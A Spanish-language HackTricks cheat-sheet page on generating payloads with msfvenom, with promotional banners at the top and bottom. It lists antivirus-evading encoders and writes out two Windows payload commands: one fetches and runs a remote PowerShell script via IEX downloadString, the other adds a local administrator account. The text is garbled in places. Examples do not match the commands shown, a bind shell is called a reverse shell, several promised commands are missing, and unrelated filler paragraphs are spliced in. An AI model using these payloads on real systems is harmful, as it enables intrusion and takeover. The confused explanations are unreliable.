* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
El parámetro `-p` o `--payload` se utiliza para especificar el payload que se utilizará para crear el shellcode. El payload es el código que se ejecutará en la máquina objetivo después de que se haya explotado la vulnerabilidad.
El parámetro `-e` o `--encoder` se utiliza para especificar el encoder que se utilizará para codificar el payload. Los encoders se utilizan para evadir la detección de antivirus y otras medidas de seguridad. Los encoders comunes incluyen `shikata_ga_nai`, `x86/shikata_ga_nai`, `alpha_mixed`, `alpha_upper`, `avoid_utf8_tolower`, `call4_dword_xor`, `countdown`, `fnstenv_mov`, `jmp_call_additive`, `nonalpha`, `nonupper`, `polymorphic`, `print_badchars`, `remove_badchars`, `unicode_mixed`, `unicode_upper`, `x86/alpha_mixed`, `x86/alpha_upper`, `x86/avoid_utf8_tolower`, `x86/call4_dword_xor`, `x86/countdown`, `x86/fnstenv_mov`, `x86/jmp_call_additive`, `x86/nonalpha`, `x86/nonupper`, `x86/unicode_mixed`, `x86/unicode_upper`.
### `-a` / `--arch`
El parámetro `-a` o `--arch` se utiliza para especificar la arquitectura de la máquina objetivo. Las arquitecturas comunes incluyen `x86`, `x64`, `x86_64`, `armle`, `armbe`, `aarch64`, `mipsle`, `mipsbe`, `ppc`, `ppc64`, `sparc`, `sparc64`.
El parámetro `-b` o `--bad-chars` se utiliza para especificar los caracteres que no se deben incluir en el shellcode. Los caracteres comunes que se deben evitar incluyen `\x00`, `\x0a`, `\x0d`, `\x20`.
### `-n` / `--nopsled`
El parámetro `-n` o `--nopsled` se utiliza para especificar el tamaño del nopsled que se utilizará en el shellcode. El nopsled es una serie de instrucciones `NOP` que se utilizan para deslizar el shellcode en la memoria y asegurarse de que se ejecuta correctamente.
El siguiente comando generará un payload de Meterpreter que ejecutará el comando `whoami` en la máquina objetivo después de que se haya ejecutado el payload:
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
SunOS (Solaris) es un sistema operativo basado en Unix desarrollado por Sun Microsystems. Es utilizado en servidores y estaciones de trabajo de alta gama. Para generar payloads para Solaris, se puede utilizar el siguiente comando de msfvenom:
A Bind Shell es un tipo de shell inversa en la que el objetivo es conectarse a la máquina que ejecuta el shell. En lugar de que el shell se conecte a un puerto en el atacante, el atacante se conecta a un puerto en la víctima y el shell se ejecuta en ese puerto. Esto significa que el shell está "enlazado" al puerto en la víctima y está esperando una conexión entrante.
Donde `<payload>` es el payload que se utilizará, `<attacker IP>` es la dirección IP del atacante, `<attacker port>` es el puerto en el que el atacante está escuchando y `<format>` es el formato de salida deseado (por ejemplo, exe, elf, o raw). `<output file>` es el archivo de salida que se creará.
Por ejemplo, para crear un shell de enlace de Windows en formato exe que se conecte al atacante en la dirección IP 192.168.0.100 en el puerto 4444, se utilizaría el siguiente comando:
NodeJS es una plataforma de software de código abierto que se utiliza para construir aplicaciones de red escalables. Está construido sobre el motor V8 de Google Chrome y utiliza un modelo de E/S sin bloqueo y orientado a eventos, lo que lo hace ideal para aplicaciones en tiempo real con una gran cantidad de datos que cambian con frecuencia. NodeJS también es muy popular en el desarrollo de aplicaciones web y se utiliza a menudo en combinación con frameworks como ExpressJS.
Python es un lenguaje de programación interpretado de alto nivel que se utiliza ampliamente en el hacking. Es fácil de aprender y tiene una gran cantidad de bibliotecas y módulos que lo hacen muy versátil. Python se utiliza para escribir scripts de automatización, herramientas de hacking y exploits. También se utiliza para el análisis de datos y la visualización de datos. Algunas de las bibliotecas más populares de Python para el hacking son `requests`, `beautifulsoup`, `scapy`, `pandas` y `numpy`.
Bash es un lenguaje de scripting muy popular en sistemas Unix y Linux. Es una herramienta muy útil para la automatización de tareas y la creación de scripts personalizados. Bash también se utiliza a menudo para la creación de shellcodes y payloads.
Una de las ventajas de Bash es que está disponible en la mayoría de los sistemas Unix y Linux, lo que lo hace muy accesible para los hackers. Además, Bash es muy flexible y puede ser utilizado para una amplia variedad de tareas, desde la creación de scripts simples hasta la creación de herramientas de hacking avanzadas.
Msfvenom es una herramienta muy útil para la creación de payloads de Bash. Con Msfvenom, los hackers pueden crear payloads personalizados que pueden ser utilizados para una amplia variedad de tareas, desde la explotación de vulnerabilidades hasta la creación de backdoors.
Para crear un payload de Bash con Msfvenom, primero debemos especificar el tipo de payload que queremos crear. Luego, debemos especificar la dirección IP y el puerto que queremos utilizar para la conexión de backdoor. Finalmente, debemos especificar el formato de salida que queremos utilizar para el payload.
Una vez que hemos creado nuestro payload de Bash con Msfvenom, podemos utilizarlo para la creación de backdoors y la explotación de vulnerabilidades en sistemas Unix y Linux.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).